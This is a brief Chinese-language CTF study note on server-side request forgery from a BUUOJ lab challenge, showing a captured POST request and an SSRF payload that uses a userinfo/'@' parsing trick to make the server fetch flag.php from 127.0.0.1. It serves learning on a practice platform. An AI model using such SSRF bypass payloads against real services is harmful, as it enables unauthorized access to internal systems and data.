[第二章 web进阶]SSRF
介绍:记录一下笔记,方便以后迅速回忆使用。
一、信息收集
- 1.首页
- bp手抓的包
- 通过post请求提交URL
POST / HTTP/1.1
Host: c0b4a054-af89-447a-a1f7-456148d6e9fe.node3.buuoj.cn
Content-Length: 11
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://c0b4a054-af89-447a-a1f7-456148d6e9fe.node3.buuoj.cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://c0b4a054-af89-447a-a1f7-456148d6e9fe.node3.buuoj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
url=dsfadfs
- payload
http://c83f8e90-2d41-465e-b179-6fdf4b9bfa8f.node3.buuoj.cn/challenge.php/?url=http://a:@127.0.0.1:80@baidu.com/flag.php